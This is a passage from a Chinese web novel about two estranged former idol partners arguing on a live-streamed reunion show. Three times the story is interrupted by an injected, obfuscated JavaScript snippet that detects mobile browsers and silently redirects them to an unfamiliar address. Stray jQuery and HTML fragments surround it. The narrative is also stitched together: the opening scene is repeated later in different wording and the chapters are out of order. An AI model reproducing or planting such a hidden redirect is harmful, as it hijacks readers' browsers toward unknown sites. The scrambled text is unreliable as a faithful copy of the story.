直到秦然用炫耀的语气告诉刑少奇,他是邵阎最初的搭档。 而那个刑少奇只能沉默相望的出道位,恰是邵阎抢给他的。 一瞬间,刑少奇身上像被浇了水泥,压迫,窒息,严丝合缝,让他无法逃离。 ——居然能有这种人,一边抢走了自己的东西,一边又装成救世主,让刑少奇对他感恩戴德,甘愿奉献。 心安理得地,把刑少奇敲骨吸髓,吃干抹净。 好恶心。 当时刑少奇有多感动,如今知道真相的刑少奇,就有多恶心。 “……谁告诉你的?”邵阎说。 他猛地坐直了,alpha更为强壮的体型让刑少奇完全拢在了他的影子里。 刑少奇望见他咬住腮,一副怒气冲冲的样子,语气森寒。 “哪个信口开河的家伙,随口一说的东西,你就相信? “承认自己能力不足,有那么困难?刑少奇,你不要总是拿秦然做借口。” 邵阎好像是咬着牙说出来这番话的。 可刑少奇只觉得可笑。 秦然,秦然,这么多年了,怎么还是阴魂不散,永远都要横在他们中间,就连分手也躲不掉。 但没想到,当时他那么讨厌的名字,现在居然也成了中伤邵阎的武器:“秦然亲口告诉我的。” 邵阎的大脑轰隆一声,一片空白。 刑少奇看着邵阎苍白的脸,快意从心头冒出,又很快散去。 毕竟和邵阎这种嘴硬的家伙纠缠不清,往往只会身心俱疲。 这种人,嘴上说秦然只是朋友,可每次抉择,他都会偏向朋友。 十年过去了,邵阎和秦然还是朋友。但刑少奇说出真相,邵阎第一反应也不是求证,而是觉得他撒谎。 秦然这个“朋友”,真是做到了极致。 刑少奇揉了揉眉心,“这么多年了,我还是搞不懂。” 如此深情,为什么不去和秦然在一起?还是顶着朋友的皮做尽恋人的事,才最刺激? 邵阎紧咬牙关,四指攥紧。 “我不相信。” 他终于开口。 “秦然算什么东西?他说的话,你就相信?” 邵阎只觉得浑身僵硬,四肢发寒。 他一直以为,自己是在施舍刑少奇的。 虽然有诸多对不住刑少奇的地方,但总归一开始,如果没有他的首肯,刑少奇就只能明珠蒙尘,哪有后面的出头之日? 更别提当时自己给予钱财,帮助刑少奇度过了最艰难的日子。 刑少奇理应对他报恩。 哪怕刑少奇确实受了点委屈,但总的算下来,也算两清,他不曾亏欠对方。 更何况当初,都是秦然在他们二人之间挑唆,装出一副温柔样,陷害了刑少奇。 他是没有多大错的。 邵阎一直这么认为。 可现在突然 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“你不敢承认,你对我有愧吗?” 空气里的灼烧气味有如熊熊烈火在室内燃烧。刑少奇脖颈上的环开始滴滴作响,意味着室内的alpha信息素浓度超过他可以承受的阈值。 “一派胡言。” 邵阎道。 “为了夺人眼球,不惜造谣,你一点没变。满口谎话,信口雌黄。” 邵阎咬牙道。 刑少奇笑了一下。 直播间弹幕刷屏,屋内剑拔弩张,邵阎的信息素不断倾泄在刑少奇身上。 他开口。 “那我们可以让秦然过来,当面对峙。” 弹幕寂静。 【我靠,玩这么大?】 【这是再爱吗,这是在恨吧】 【就这个男同恨爽】 邵阎像是被扼住了脖颈,看着刑少奇,“你就非做到这步?” “好,我这就去证实。这是直播,有什么后果,你不要后悔——” 邵阎起身,猛地跨出采访厅,把门重重砸上。 采访不欢而散,主角之一临阵脱逃,面对不断冒问号的弹幕,刑少奇坐直了身体。 “等待的时候,我们可以聊聊其他的。” 他看了眼弹幕,“你说邵阎公司被告侵权,差点宣告破产的事——这确实很有意思。” “因为是我告的。” 关闭直播后,刑少奇被请到屋外。 邵阎正站在不远处的跑车旁边。拿着手机,在说话,脸色很难看。 他脚边汇聚了一圈烟头,看得刑少奇挑眉。 刑少奇讨厌烟味,站原地不动了。 等邵阎烦躁地转身,才望见刑少奇出来。 他哑然,不知道该说什么。 陈芝麻烂谷子的事,加上秦然早成了糊咖,那些拜高踩低的知情人蜂拥而上,没怎么查就有了结果。 都是秦然的错。 邵阎想,秦然不是什么好人,装出来的温驯样子,比不上刑少奇的真诚。 要不是他,邵阎自认不会被迷惑,也就不会做出那些错事。 邵阎张了张口,深呼吸,便觉得已经把尊严踩到了底,和刑少奇说。 “我会让秦然付出代价。” 刑少奇等半天,居然等到这样一句话。惊了,随即无语到笑了出来。 5.把自己弄得像条狗 刑少奇沉默。 电话那头,助理的声音在发抖。颤颤巍巍地说自己口出狂言,非常对不起刑少奇。 他说自己那些话都不是本意,接连道歉。后悔和反思几乎融进了每一个字里。 刑少奇不发一语。 他想起以前的助理。 这家伙曾经和他一同被选进组合,准备出道。那时助理跟不上练习,刑少奇作为队长,熬夜帮他扒动作。 助理总是说谢谢队长,说刑少奇你这样有天赋的人,肯定不用担心出道。不像自己,要付出诸多努力。 但也是这个说刑少奇有天赋的人,在刑少奇接到淘汰通知时,主动开口,说刑少奇能力不够,绝对比不上秦然。 而后再见这个助理,他已成了秦然身边的跟班。在秦然的生日宴会上,面对被邵阎带来的刑少奇,他用平和的语气,在刑少奇耳边说:“你是比不上秦然的。” 他说刑少奇是邵阎买下的一条狗,觊觎了本不属于自己的东西。 那时候刑少奇是怎么做的?噢,他揪住助理的领子,把人揍了。 等到邵阎赶来,便看到刑少奇压着助理打,而满脸慌乱的秦然躲在角落。 邵阎走上前,脱下外套,披上秦然的肩膀。 金光闪闪的宴会厅,一侧是衣冠楚楚的邵阎和秦然,另一侧是满目狼藉的刑少奇。 他们明明身处一个空间,却好像相隔千里。看不见的隔阂横在两人中间,那一刻,就连刑少奇自己都在想,他们还真是般配。 邵阎的目光落在刑少奇身上,看到沾着酒和血的衬衣。而刑少奇沿着他的目光,也看到狼狈的自己。 随后,邵阎伸出手,将刑少奇拉起。 邵阎伸出的手,好像一瞬间打破了两人之间的裂隙。 不可否认,在那一瞬间,刑少奇的心微动。 刑少奇依着他的力气站起来,目光落到邵阎皱起的眉。 他听见邵阎开口: “每次都把自己弄得像条狗一样,你就满意了吗?刑少奇。” “……”刑少奇的心沉下去,他站在邵阎身边,一字一句:“邵阎,钱还清那天,我打你会比打他还狠。” 邵阎用钱买了他的尊严,刑少奇深知钱货两讫的道理——所以,他要买回自己的尊严。 而邵阎张了张口,拉住他的手骤然用力,却没有任何反驳。 刑少奇吃痛,只想,这死洁癖手劲真大。 风拂过,带来一缕寒凉。刑少奇的思绪飘散,听到电话那头的声音带上了哭腔。 很难想象这样谄媚、害怕的声音,居然是从那个拜高踩低的助理口中说出来,对象还是刑少奇本人。 但他一点快意也没有。 毕竟当年助理嘴贱的时候,刑少奇就把他揍得不敢吱声了。 现如今几句话,也不会影响刑少奇的心情。 倒不如说助理那番表现,像是一只手扇了邵阎的脸,撕开了邵阎那些年伪装不见的、刑少奇面对的尴尬和难堪。 刑少奇看着,还觉得蛮有意思。 刑少奇对折磨助理不感兴趣,他不喜欢被人用这样“撑腰”的方式帮助——显得他多无能一样,他要是想报复,早和当年一样上手了。 “让邵阎接电话。” 助理明显是愣住了:“他、他不在这里。邢先生,我是真心和你道歉的,不是邵总安排……” 刑少奇冷笑。 “那麻烦你转告邵阎。我们分手,错不在秦然,不在你们这些朋友助理,更不在其他人。” “是邵阎他一心二用、摇摆不定,始终不敢面对自己的错误,才导致我们走不到一起。” “让他下次,别再推人出来当挡箭牌,别觉得自己毫无错误,把错因都归结到别人身上——这种懦夫行为,少做些。” 刑少奇扔掉了烟,挂断了电话。 也顺手将号码备注,并把手机静音。 临睡前,刑少奇开始搜集邵阎这些年的消息。邵阎那句“我可以帮你”,总是回荡在他脑海里,让刑少奇深感奇怪。 也就是这时候,刑少奇看了邵阎近些年的舞台。 当熟悉的旋律传入耳朵,配合的声线却不似刑少奇记忆中那样朝气时,刑少奇这才意识到。 距离他和邵阎出道,已经有十多年了。 多年的表演生涯,让邵阎的声音发生了改变。先前交谈时,在刑少奇听来“刻意”的低哑声线,才是邵阎现如今正常的发音。 但今天和邵阎相处的过程里,邵阎一直在扬高自己的声线,努力贴合自己年少时的嗓音。 可能是想练伪音吧。刑少奇面无表情地想。 邵阎怎么想、怎么做,他并不是很关心。 手指下滑,刑少奇忽然看到了一则报道。 标题是【组合解散?!邵阎首次解释事故缘由——】 他的手指顿了顿,点进去。 里面是一条极其模糊的采访视频。看环境,并不是一场专门解释事由的发布会,似乎是邵阎参加某个活动,在采访时被记者询问。 记者:“自上次的舞台火灾之后,刑少奇已经多日未曾露面。据说他烧伤严重,将退出组合。请问这是真的吗?” 看到这里,刑少奇的目光落在自己的右手——黑色的布料紧贴着皮肤,只有他知道,布料下是丑陋蜿蜒的疤痕。 来自这场事故,来自舞台上突起的火灾。 他继续看报道。 心里却能猜到邵阎的反应:应该会骂记者不专业,把这种八卦问题拿上来,是不是杂志要倒闭了才想出来的招数。 毕竟,邵阎一向不喜欢除了舞台之外的一切炒作、宣传。对这些鬣狗逐肉般追逐新闻的媒体记者更是嗤之以鼻。 但视频继续播放,下一秒,是邵阎的道歉。 “很抱歉出现了这样的事故。‘red and green’的演出将延期,直到我的搭档康复。我们没有解散组合的打算,只是需要大家的等待,感谢各位的支持。” 正常到刑少奇都愣住了。 在刑少奇记忆里,邵阎不止一次地打断记者、拒绝采访,甚至干脆不参加发布会,把事情都留给刑少奇一个人面对。 没等他反应过来,只听视频里记者继续问,“既然不打算解散组合,那你是否会考虑重新选择搭档?这次演唱会,贵组合就带了秦然作为助唱,你是否考虑……” 邵阎:“我只会有刑少奇一个搭档。” 视频结束了。 刑少奇望着黑下去的屏幕,久久没有回神。 他搞不懂邵阎是什么意思,那个目中无人的家伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14618671|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居然会对着观众道歉,那个一心向着秦然的邵阎,居然能说出“只有刑少奇一个搭档”这种话。 刑少奇思索了片刻,觉得—— 他可能真是中邪了。 第二天,《再爱》第一期,开始直播。 第一个环节,是双人访谈。 清晨八点,刑少奇进入采访厅。 他比节目计划的早到了十分钟,不早不晚的礼貌时间。推开门,看到偌大的采访厅里有张布艺沙发,里面早已经坐了一个人。 刑少奇对着那人轻点了下头,走进去:“好早,邵阎。” 走进去,坐到邵阎旁边。 调整话筒的时间,刑少奇的目光环绕采访厅一圈。采访厅陈设简单,除了基本的拍摄道具,只剩下一张沙发,但令刑少奇很在意的是,房间里除了镜头,还有一面正对他们的屏幕。 刑少奇确认麦克风可以使用后,节目组问了第一个问题。 “请两位自我介绍一下吧。” 邵阎道:“看这个节目的应该不喜欢这种废话。” 刑少奇深以为然,但还是对着镜头笑了下,和观众打了个招呼,“我是刑少奇。” 出乎意料地,邵阎看了他一眼,也接了话,“……邵阎。”顿了顿,“‘red and green’的邵阎。” 没等两人反应,一道机械女声从面前传来。 【邵阎你在夹什么?声音这么o】 AI声线听着有几分惊悚,等到反应过来,才发现是正对着二人的屏幕亮起来了。 原来是节目组将直播间投屏,随即抽取弹幕念出问题,让二人回话。 刑少奇的目光扫过邵阎,见他一直看着自己,于是恰好四目相对。 刑少奇:“练声?” “……对。”邵阎的眼神游走了,“只是适当练习一下声音。”声音又恢复成性感沙哑的低音了。 刑少奇当然知道他在说谎,但不在乎。 哪怕邵阎真的是因为他一句话才调整的声线,那又如何?和他有什么关系。 节目组又问:“性别是?” 邵阎:“alpha。” 刑少奇道:“omega。” 邵阎的视线落在刑少奇身上,看了半晌,“……你的腺体,好了?” 直播间的弹幕顿了下,也跟着疯狂跳动。 机械女声不断冒出声音。 【不是beta?】 【没必要吧,做了变性手术吗?难道整形科能提供腺体?】 “我是omega。”刑少奇碧绿色的眼睛看向镜头,“早年分化期的时候出了车祸,大出血,导致腺体没有发育完全,所以当时被认定为beta。后来……” “经过alpha信息素的刺激治疗,现在腺体恢复,所以又成了omega。” 一时间,邵阎脸色巨变。 “……alpha的,信息素?” 他声音暗哑:“哪个alpha?” 刑少奇望了眼邵阎,开口笑道:“觉得给我信息素,不是一种浪费的alpha。” 空气里,燃烧起一股浓烈的灼烧气味,刑少奇愣了下,才发现这是邵阎的信息素。 他在生气?气什么?刑少奇想。 我只是原话复述而已。 6.过期的爱情像泔水 这还是刑少奇第一次闻到邵阎的信息素。从前他腺体没好,身体机能趋近beta。什么都闻不到。 现如今腺体刚恢复,但很脆弱。所以一直佩戴颈环,用来隔绝味道,也用来调节自己的信息素。 但此刻,升高的信息素气味几乎化作实质,气味愈演愈烈,已经超过了环能隔绝的极限。 alpha的压迫感也随之到来,压在每个人身上。 刑少奇的鼻腔里开始蔓延起这股并不熟悉的灼烧气息。 脖颈上的颈环突然亮起,红灯闪烁,用于保护omega的颈环开始发出警告。 沐浴在如此浓烈的alpha信息素中,刑少奇伸手摸了摸自己的后颈。 那颗刚被治愈不久,仍旧脆弱的腺体开始泛痛。腺体排斥这股莫名出现的气息,连带着产生痛苦催促刑少奇远离这个非标记者。 他手指蜷缩,按住沙发扶手。 “邵阎。” “当年你亲口说,给我信息素是浪费。” 邵阎转头看他,似乎想要说什么,却没有开口。 只是一瞬间,那股灼烧的气息褪去,刑少奇能感到后颈的疼痛暂时消退,也能感受到邵阎落在自己身上的视线。 他顺着邵阎的目光看去,发现自己的衣领翻开些许,露出金属质地的颈环。 邵阎看着那冒红光的颈环,道,“……匹配度太低,给了也是没用,不如不给。” 他顿了顿,身体挪动,离刑少奇远了些。 刑少奇松开扶手,放缓自己过快的呼吸。 获得这样的答案,不算稀奇。 毕竟他和邵阎分手,匹配度过低也是一大原因。 邵阎这个人,看着叛逆,实际上非常传统。 刚和刑少奇在一起的日子,他以为刑少奇是个beta,还算没有暴露。 后面发现刑少奇是因为事故分化失败,便突然在意起来。拉着刑少奇跑了许多医院,做了很多繁复的检查,但结果无一例外,都是腺体发育不良,难以分化。 刑少奇记得,那时候邵阎拿着二人的匹配报告,坐在医院外的椅子上,不发一语。 他半开玩笑地问过邵阎,匹配度这么重要吗?如果那么重要,他们可以分手。 刑少奇知道有些alpha是很看重匹配度的,因为高匹配的ao更有可能诞下高等级的血脉。 但邵阎望了刑少奇一眼,站起来,把报告单撕碎了。 他没有回答。 这个问题却还是有了答案。 因为不久后,秦然出现。 刑少奇在那之后才知道,秦然和邵阎的匹配度高达90。通俗一点来讲,他们就是天作之合。 也是后来,刑少奇才明白他遭受邵阎朋友排挤、不受他人喜爱的原因—— 邵阎来自一个非常传统的家族,祖祖辈辈都因为信息素的高匹配度结婚。而他的那些朋友,也都赞同这样的观念。 他们认为,邵阎把信息素给秦然,才算是物归原主,物尽其用。 而腺体受损严重、甚至连性别都被定为beta的刑少奇,和邵阎的匹配度低得令人发指的刑少奇,是上天都不曾选中的、阻拦二人的障碍。 刑少奇可以理解,邵阎因为高匹配度选择秦然。 但他不明白,为什么邵阎都找到了能相守一生的天作之合,却不愿意和自己分手。非要用“付钱了”这种话恶心刑少奇,非得让刑少奇陪在自己身边,做一个有名无实的男友? 思索之际,机械女声念出的弹幕让本平静下来的采访厅完全寂静—— 【可是邵阎和秦然匹配度那么高,不也没给信息素?】 【肯定是刑少奇不肯呗,还能是邵阎不愿意?】 秦然也? 刑少奇愣了下,看向邵阎。 只见邵阎撑着下巴,平静道:“我不想给。” 低匹配度的浪费信息素,高匹配度的又不想给,什么少爷脾气。 正暗自腹诽,又听弹幕发言。 【这话的意思是,你想给刑少奇信息素吗?只是觉得浪费才没给?】 这又是什么无稽之谈。刑少奇心想邵阎马上能开始骂人。 但出乎意料的,邵阎没有回答。 接下来,一连几个问题都很正常,无非是回答些基础的个人信息。两个人都在圈内沉浮许久,回答起来游刃有余。 刑少奇的心跳,也随着消散的信息素逐渐平缓,他整理好衣领,像是什么也没有发生过。 直到—— 第一个双人问题。 “请问,两人初见的地点是?” 刑少奇思索片刻。 “餐厅。”刑少奇说,对于当时没了出道机会的自己,被通知被选中进入新组合,是一个莫大的转机,所以他印象深刻。 “说要让我和邵阎组合。” 与此同时,邵阎顿了顿,开口道,“练习室。” 邵阎没看刑少奇狐疑的脸,只说,“凌晨两点,我看到他还在。所以和经纪人说,想选他。” 平静的弹幕又热闹了起来。 【一见钟情?】 【过期的爱情就像五星级酒店的泔水……但我是阴沟里的老鼠我爱吃】 “……”刑少奇却沉默。 他忽然笑了下,“我倒还不知道。原来你当时选我,是因为觉得我很努力?” 邵阎道,“不仅努力,还有天赋。你应该是当时最有能力的人。” 邵阎甚至现在还记得,第一次见到刑少奇。觉得很瘦,很单薄。因为受伤而缠绕在脖颈上的一圈圈绷带,像是一种特立独行的装饰。 他的目光落在刑少奇身上,对上那双绿色的眸。很奇异地,他忽然看到刑少奇沾湿的发尾,贴在脸颊上滴水的额发,看到那双绿色的眼睛,很像长满水藻的潭水。 当刑少奇开口演唱的时候,那潭水瞬间把他淹没。 邵阎想,他需要这样的…… 搭档。 而刑少奇望着邵阎,“那你有没有想过,我有能力,为什么没有出道?” 邵阎双腿交叠,两手手指交叉,对着刑少奇道。 “不能出道的原因很多。有能力,也不意味着一定会被看见。”他顿了顿,“有时候,千里马也需要伯乐。光凭能力并不能决定一切。” 刑少奇撑着下巴,目光打量邵阎,试图从他脸上看到一点心虚或者愧疚。 但都没有。 “你的意思是,你的推荐,给了我一个机会……你是我的伯乐?” 邵阎道:“事实如此。” 刑少奇忽然笑了下,“我记得,你原先是要和秦然搭档的吧。他想加入别的组合,所以才空出来。” 【啊?这么早就是三角了?】 【也没错吧,竞争激烈,没机会肯定会被埋没】 邵阎道,“那和我选择你,没有关系。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630915|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他看着刑少奇,“我选你,只是因为你有能力……最适合做我的搭档。” 但刑少奇不笑了。 “我还以为,你是觉得帮秦然抢了我的位置,所以想要补偿。” 好似一阵惊雷落下,邵阎的信息素猛然升起,很快熄灭。 刑少奇幽幽道:“你不知道吗?秦然加入的那个组合,已经固定好人选,却为了他,强行淘汰了一个人——就是我。” 18岁的刑少奇,刚刚出院。 他很有天赋,也很努力,已经内定了要作为组合的主唱出道。 但他并不清楚,自己的一切努力都将灰飞烟灭。 而罪魁祸首,帮其抢夺了刑少奇位置的人。就在练习室外看着他白费功夫。 曾几何时,刑少奇也曾感恩戴德。觉得是邵阎对着自己伸出了手,让他有机会重新站上舞台,让他能够有办法还清债款。 他的确是感激过邵阎的。 而那份感激甚至在后来不断扭曲、加码,混着那笔看似免费的金钱,逐渐变成刑少奇让出去的署名权,变成刑少奇面对秦然的无奈和妥协。 直到秦然告诉刑少奇,他是邵阎最初的搭档。 直到刑少奇知晓,那个自己只能沉默相望的出道位,恰是邵阎抢给秦然的。 感激突然变成了恶心。 刑少奇难以理解,居然能有邵阎这种人,一边抢走了别人的东西,一边又装成救世主,让刑少奇对他感恩戴德,甘愿奉献。 心安理得地,把刑少奇敲骨吸髓,吃干抹净。 好恶心。 当时刑少奇有多感激,后来知道真相的刑少奇,就有多恶心。 【……这是黑幕啊,这是我能听的吗?】 【都十年了,秦然那个组合早解散了,有啥不能说的】 【还好吧,感觉没有那些三天两头就要割老婆腺体的总裁家事刺激】 本以为邵阎是知道这件事的,但刑少奇等了半天,看到邵阎沉了脸色,开口: “……谁告诉你的?” 邵阎坐直了,alpha更为强壮的体型让刑少奇完全拢在了他的影子里。 邵阎开口道。“刑少奇,不要随便相信没有证据的东西。” 他的目光落到刑少奇的脖颈,语气忽然缓下来,“你也不用这么针对秦然。我选你,和他没有任何关系。” “……”刑少奇挑了挑眉,“秦然亲口告诉我的。” 邵阎:“……什么?” 刑少奇继续道,“而且,组合原定成员是我,后来出道的人是他,我们就是当事人,要什么证据?” 他顿了顿,“邵阎,你曾经说,看了我很多资料,很多舞台,最终选了我。” “你怎么偏偏就没有看到,我在组合里练习的视频?” 刑少奇用手撑住沙发,往前凑了半寸。 而邵阎往后退了半寸,却没有开口。 ——因为他根本没有看过刑少奇的视频,也没有看过刑少奇的舞台。 他只是在练习室里看到刑少奇,便敲定了自己未来的搭档。 邵阎从不肯承认,自己因为这样简单的理由就选中了刑少奇。 直到今天。 谎言被拆穿的同时,一个被掩盖的真相也显露—— 一直以来,他都以为是自己施舍给了刑少奇一个机会。 可事实是,如果不是他,刑少奇本可以正常出道。 7.第七章 “……我会查证。”邵阎最终说,眼神瞥向别处,但口气平静,“出道人选的安排,是正常的人员调动。你不符合条件,被刷下来也很正常。” “你刚才还说我能力最强。” 邵阎回以沉默。 显然还是不信。 对于他的反应,刑少奇不算意外。邵阎一直嘴硬,让他认错简直是天方夜谭,从前组队时刑少奇指出邵阎的错漏,他能辩驳百八十句。 什么理由借口都找遍了,就是不承认自己有错。 说他犟吧,第二天演唱的时候,曲调又是改过的。 刑少奇后来也总结了:邵阎这种人,好像总觉得说出心里话是件要他命的事情。喜欢什么也不说,讨厌什么也不说,犯错了第一反应是找借口而不是道歉,明知自己有错,但比起认错,他更倾向于推卸责任。 从前刑少奇也想过分析下这个人的心理动机,后来放弃了。因为刑少奇逐渐明白,人不可能轻易改变自己的性格,比起去耗费心力改变某个人,不如干脆换一个对象。 后面的问题都没什么水花,倒是邵阎中途出去打了个电话,回来时脸色稍霁。 除此之外,一切都很顺利。 节目组几次旁敲侧击提起秦然,但邵阎的态度很是抗拒,几次说不想辩解未经证实的流言。 引得弹幕都叫起来。 【这么维护为什么还要来节目?你和秦然在一起呗】 【看得我火大,邵阎你当年直播那句‘只有刑少奇是我的搭档’我记了十年了,我真以为你和秦然只是朋友,来这个节目我以为能嗑糖没想到是吃泔水】 【隔壁5人团被爆出来大被同眠现在涨了多少粉啊,咱们这是abo社会,你们又是10年老瓜,没必要这么藏吧?】 弹幕骂得难听,但邵阎难得没有还嘴。 邵阎的表现其实出乎刑少奇的预料。毕竟刑少奇一直以为,邵阎是知道内幕,刻意看自己的笑话。 但今天看下来,却更像是邵阎并不了解自己和秦然的恩怨。 抢走刑少奇的位置,后恩赐般降下另一个机会,对于邵阎来说只是巧合。 该说是幸运还是不幸?当初令自己深陷窘境的人和伸出援手的人居然是同一个,这让刑少奇也深感命运捉弄。 采访临近结束,邵阎又接了个电话。 回来时,刑少奇正在和直播间的观众告别,邵阎的脚步微顿,等到直播间关闭了,才走近刑少奇。 和直播间那种正面镜头不一样,节目组设置的24小时直播必然会有些死角和遮掩镜头,于是在偏僻的角落,刑少奇看到邵阎递来的‘证据’。 那是刑少奇当时退出团队的通知,上面的理由是‘能力不足’。 除此之外,还有刑少奇的几个前队友作证,说刑少奇作为队长不负责任,没有能力。 播放证据的时候,邵阎难得皱眉,明明抓住了刑少奇的把柄,但他好像比刑少奇本人还紧张。 刑少奇望着证据:“你直接在采访的时候拿出来不是更好?” “那别人肯定会说——”邵阎卡壳。 他看起来像在担心刑少奇被骂。 “…反正我都看过了。虽然秦然确实有做的不对的地方,但你这样抹黑,也不是好事。” “你说的那些谣言,我会处理。不能影响到无辜人员的声誉。” “而且秦然他……”顿了顿,邵阎道,“他的话也不能全信。” 邵阎握了握拳。 刑少奇露出的‘破绽’让他难得找回了底气,证据在手,足以撑起他摇摇欲坠的良心。 他只是帮了秦然一个小忙,随口告诉身边人让他们把秦然捧出道,仅此而已。 刑少奇是能力不足,是理所应当被淘汰的。 他并非造成一切的罪魁祸首,充其量,不过是推波助澜。 “而且,就算你是因为秦然加入才被淘汰,也很正常。” “不公平的事情常有,如果我没有选你,你只会作为一个被埋没的普通人,灰溜溜地离开。” 邵阎道:“我确实给了你机会。” 刑少奇好像重新认识了这个人。从前他只觉得邵阎是个嘴硬的大少爷,现如今听他把黑幕不公说得如此坦然,只觉得很是荒谬。 “……我记得你当初和我搭档,你说要凭着实力让人看到自己,说金子总会发光。” “你讨厌营销,讨厌宣传,却不讨厌不公,不讨厌黑幕?” 邵阎的目光长久地停在刑少奇身上,看到他右手的手套时,心脏刺痛一下。 “……有时候,对抗不公的代价太大,不如放弃。”他说。意有所指。 刑少奇抬眸和他对视。 “……你又怎么知道,那代价我承受不起?” 刑少奇把手机推过去,“去问这些人,当然只能问到些场面答案,难道他们会主动在通知上写自己的罪证?邵阎,何必自欺欺人。” 他的反应几乎刺痛了邵阎,一直以来维持的体面出现细碎的裂痕,邵阎语气不虞:“刑少奇。” 他每次发怒前就会这样叫。 “证据都有,我也没揭穿你的把戏。只凭秦然几句话,你就质疑是我黑幕,未免太过于儿戏。” 刑少奇笑了一下。 气氛剑拔弩张,四周隐隐翻起一股灼烧气味,像在昭示其主人的不满。 “那我们可以让秦然过来,当面对峙。” 邵阎的信息素忽然撤下去,不知是想到了什么,他看着刑少奇,“……你要是想确认他的行踪,没必要拐这么大个弯。” “什么?” 邵阎说出的话几乎让刑少奇睁大了眼睛。 “他早就被封杀,我也早和他断了联系……他当时,确有做的不对的地方,我让他付出了代价。” 刑少奇没想到居然能听到这样一句话。惊了,随即无语到笑了出来。 明白是邵阎神奇的脑回路作祟,或许是以为刑少奇造谣撒谎,目的只是想知道秦然的消息。 可他要秦然的消息做什么?刑少奇猜,邵阎是觉得自己把秦然当敌人,想知道对方过得有多惨。 “你怎么不自己付出代价?” 刑少奇往前一步,点点邵阎的手机屏幕:“你和秦然的纠纷我不想掺和。但我对他没什么感觉,说到底,是你三心二意,在两个人之间游移不定,这才导致你周围人开始有了倾向选择,导致我成为旁人眼中秦然的敌人。” “我经受的那些鄙夷白眼,说穿了也是因为你默许才会多次出现。和秦然无关。” “邵阎,你我心知肚明。秦然只是你推卸责任的靶子,你做错的事太多,但你从不肯承认。” “秦然比起你,起码敢作敢当,还算诚实。” “你呢?邵阎,你来参加这档节目,不会是在想,我们之间没了秦然,就一切都可挽回吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649550|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼看邵阎的脸色逐渐阴沉,刑少奇嗅到四周升腾的信息素气味。他挑眉:“下午把味道收收,我闻不了。” 转身离去的时候,邵阎的味道便消散无踪了。 早上一番谈话过去,下午开始,节目将进入故地重游环节。 虽然节目导语是“重游故地,引燃爱火”,但刑少奇愿称之为死灰复燃的失败尝试。 两人的第一站是公司。 时隔多年,公司大楼都迁过几次,但这栋最早的大楼似乎没有受到影响,从外观来看甚至和刑少奇记忆中相差不大。 刑少奇难得有几分怀念,目之所及全是熟悉的景色,连带着心情也好了些。 这是凝聚过两人努力和心血的地方。 饶是现在和邵阎不和,刑少奇也不会否认——籍籍无名的练习生时期,是他们互相扶持,相互帮助地走过来。 刑少奇的出道时光,几乎全有邵阎的镜头。他们一起登台,一起献唱,作品的署名从来不是单人,一直都是组合名称。 他们获得的第一笔演出费用不是平分,是邵阎把自己那笔也转到刑少奇的卡上。 第一次接到通告,第一次走上红毯,可以说刑少奇步入这个圈子的所有第一次,几乎都是和邵阎并肩前行。 他很难去界定自己和邵阎之间的感情,那其中或许并不止有喜欢,还有并肩的感激、只有对方可以理解的信念、一同站上舞台的队友情谊。 喜欢过邵阎吗?肯定是喜欢过的。 在刑少奇最需要钱的时候,是他伸出手。 在秦然还没有出现的时间,他嘴上嫌刑少奇穷酸,实际把大部分收入都让渡。他并没有要求刑少奇为此要付出什么。 嘴上说着要刑少奇当保姆,实际有助理也有经纪人,刑少奇做的事情,更多体现在承担通告宣传、采访发布等。 这么一想,邵阎当初,也是真的喜欢过他。 只是后来都变了。 重游故地,心绪万千。刑少奇踏入大楼,发现这里虽然不再用于培养练习生,但基本格局大致没变。 途径一楼时,他的目光落到灰扑扑的发布厅。 这里曾经是他很熟悉的地方,他在这里被宣告组合出道,在这里无数次公开专辑讯息,因为邵阎不喜欢这种场合,所以都是由他来面对新闻媒体。 也就是这时候,邵阎也跟着进来,目光落到发布厅,难得缓了语气:“在想什么?” “这里没怎么变。”刑少奇淡道,“我还记得当初就是在这里,帮你道歉,差点要下跪。” “……”邵阎沉默。组合解散后,他自己开始面对新闻媒体,这才知道那些记者发言刁钻又犀利,一句话能被解读出八种意思。 这时候才知道刑少奇每次发言为什么都如临大敌,才知道为什么经纪人说光有实力走不到最后。 只是那时候他不明白,也不想明白。 “是因为我骂记者?”邵阎问。 刑少奇回想了下,“那次也被骂得挺惨,但不是。” 他顿了顿,很平静:“是你和秦然传绯闻,被狗仔拍到。我得知消息的时候,通告已经满天飞,经纪人让我出面道歉,让我说——” “和你在一起的那个人,是我。” 看到恋人出轨,第一反应不是愤怒震惊,而是考虑如何对着媒体记者道歉、思索怎么掩盖真相。 回想起来,刑少奇也为自己感到可怜。 8.对不起 